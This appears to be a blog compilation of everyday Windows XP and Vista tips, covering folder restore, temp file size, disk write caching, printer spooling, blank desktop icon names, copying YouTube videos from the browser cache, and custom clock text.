Restore Previously Open Folders After Shutdown !!!!

If you need to access lot of folders on your home computer or on the network regularly, then you can set them re-open automatically, when you will login, shutdown or restart your computer next time. There is no need to open regularly used folders manually, just configure the simple sitting, your computer will automatically reload all the previously opened windows.

By default windows XP disables this option to reload automatically all the previously opened windows, when you login on, shutdown or restart your computer.

Follow the given steps to configure your computer to reload previously opened folders automatically after shutdown.

* To edit this feature, you will need to be logged into your computer with administrative rights.
* First click on Start button then go to Control Panel.
* Open the “Appearance and Themes” option in control panel then click on Folder Options.
* A small windows dialog box will appear with the title “Folder options”, click on View tab.
* Under the Advanced setting section, scroll down to bottom and click the “Restore previous folder windows at logon” option and then click Ok button to save sitting.
* Now when you log off, restart or shutdown, your computer will automatically open the previously opened folders from the same location as before.

Reduce Temporary Internet File Space !!!

he temporary internet files clutter your hard drive with copies of each page visited. These can build up over time and take up disk space. Even more bothersome is that instead of getting new pages each time IE often takes the page out the temp internet files. This can be a problem if you are viewing a website that is updated all the time. If you are on a slow connection such as a 56K or lower then this can be good but if you are on a fast broadband connection, like me, then you can get away with decreasing the size of your temp internet files to just one meg without any performance decrease.

Speed Up SATA Hard Drives & USB Drives In Windows Vista !!!

Window Vista has built in support for SATA and external drives, but they seem to be slow because the advanced write cache features aren’t automatically activated. With just few steps you can enable them and get a much faster response.

First you need to go to the Device Manager which you can go directly by just typing device in the start menu search box or just type in devmgmt.msc in command line.

1. Now open the Disk drives section and right click on your hard drive. Now click on the Policies tab and you’ll find this dialog box:

2. Now click the checkbox for Enable advanced performance, and you are done.

3. Write caching isn’t enabled by default as removing devices directly without using the “Safely remove removable device”may lose your data, so be cautious when enabling this options. But enabling this option also when speeding up performance significantly when writing to the disk.

4. Now select the external drive and double click it to open up the properties screen. Then
just change the setting to “Optimize for performance” and hit OK to continue. You’ll have to reboot for all the settings to take effect. Next time you boot into Windows Vista you’ll see faster bootup times and better disk writing performance.

Increase the printing speed of your printer

You can improve the printing speed of your printer with managing the print spooler option. Basically printer spooler holds your prints for some time then send to printer for print out. By default on most printers, printer spooler option is enabled but you turn off to specify that the file should be sending to the printer and not spooled. 

Here printer spooler option might be different location in your printer but on most printers you can turn off by going to Start, Setting then Printers. Now right click on the icon of the printer that you are using. Click Properties and select the Advanced tab. Here click on “Print directly to printer” option. This will tie up your application until the printer has all the data, but your print job should finish more quickly. Printing directly to the printer will also come in handy if your print spooler crashes and you need to print before you reboot your PC.

How to remove the text from the Desktop icon !!

Desktop is the interface of Windows, which contain the icons, taskbar etc. that allow the user to interact with the computer to perform different operations. Usually the picture of icon represents its purpose so if you want your desktop looking very clean then you can remove the title under the desktop icons. May be you are thinking it is so easy, just go to rename option and set blank name or single spacebar entry but the problem is this, windows will not allow you to set blank name or name with single spacebar entry. Here interesting thing is this; window will allow you to use the ASCII code for a space, which is 0160.

First clear all the text from that icon
Now type the ASCII code, simply hold the Alt key,
type the number 0160 from the number pad and release the Alt key 
then press Enter button to finish the process.

But if you want to remove the text of multiple icons, then repeat the above process with adding one extra ASCII code for second icon, (for example for second icon you type the 0160 twice and for third icon type 0160 three times with Alt key and so on).

How to download videos from youtube without using any service or software.

I have tried this trick with google chrome.I have used : Google Chrome as an Browser. Youtube as a site to download videos.

NOTE: In onder to avoid confusion later, perform this step .When in google chrome press ctrl+shift+del - to clear your
browsing data or press the wrench sign in the topright conner of google chrome and select Clear Browsing Data.

Firstly, We need to open youtube , and play the video you want to download. Now y
ou just watch your video after it's complete.minimize your browser [note : DON'T CLOSE YOUR BROWSER].

Then go to-

If you are using :

Google Chrome : C:\Documents and Settings\techgeektricks\Local Settings\Application Data\Google\Chrome\User Data\Default\Cache

Firefox : C:\Documents and Settings\techgeektricks\Application Data\Mozilla\Firefox\Profiles\default.udq\Cache

Internet Explorer: C:\Documents and Settings\techgeektricks\Local Settings\Temporary Internet Files

Where C is the drive which contains windows. i.e the system -operating system
and techgeektricks is the name of the user.

After reaching the directory mentioned above.Right click and make sure that the view of the files is in tiles. Now look for a file size larger than 3 mb .( Because I Don't think any video will be less than 3 mb ).

After finding the file copy it and paste it in another folder say 'My Documents' now rename that file with an extension of .flv let's say tgt.flv Now open this file with your favorite media player.I personally would suggest you to use VLC Media Player.

NOTE : Some times the file that you have copied is not the video you want to download. Then you have to do is trail and error method.I.E. You need to search for another file which is larger than 3 mb or has an size of an videoand then you need to copy it into another folder and change it's extension to flv as mentioned above and try to play it.


If you are facing any problems or if you have any doubt or just know some another method then you might want to drop a comment down here.

Show Your Name In the System Clock

This tip is absolutely and completely useless, and will even make applications that depend on timestamps have issues. It’s mostly just to be used as a cool trick you can show off to your friends, so we’re going to show you how it works.
The way this trick works is by modifying the regional settings for the time format. Instead of using just AM or PM, you can put up to 12 characters of text in that field.
Start by opening Regional and Language Options from the start menu search box or the control panel.
On the Formats tab you’ll see the “Customize this format” button, which you’ll need to choose.
Select the Time tab, and then here’s where we can make whatever settings we want.
I chose to set mine to “AM – Geek” so I could still see AM or PM, but you can choose any 12 characters for either field. Keep in mind that the PM symbol is only going to display during the “PM” hours.
This does change more than just the displayed clock, so I’d advise not using this on a computer you do actual work on. Using the F5 key in notepad shows the “Geek” text as well:
It’s one of those things that’s interesting to know… just not very useful. It does work in XP as well.
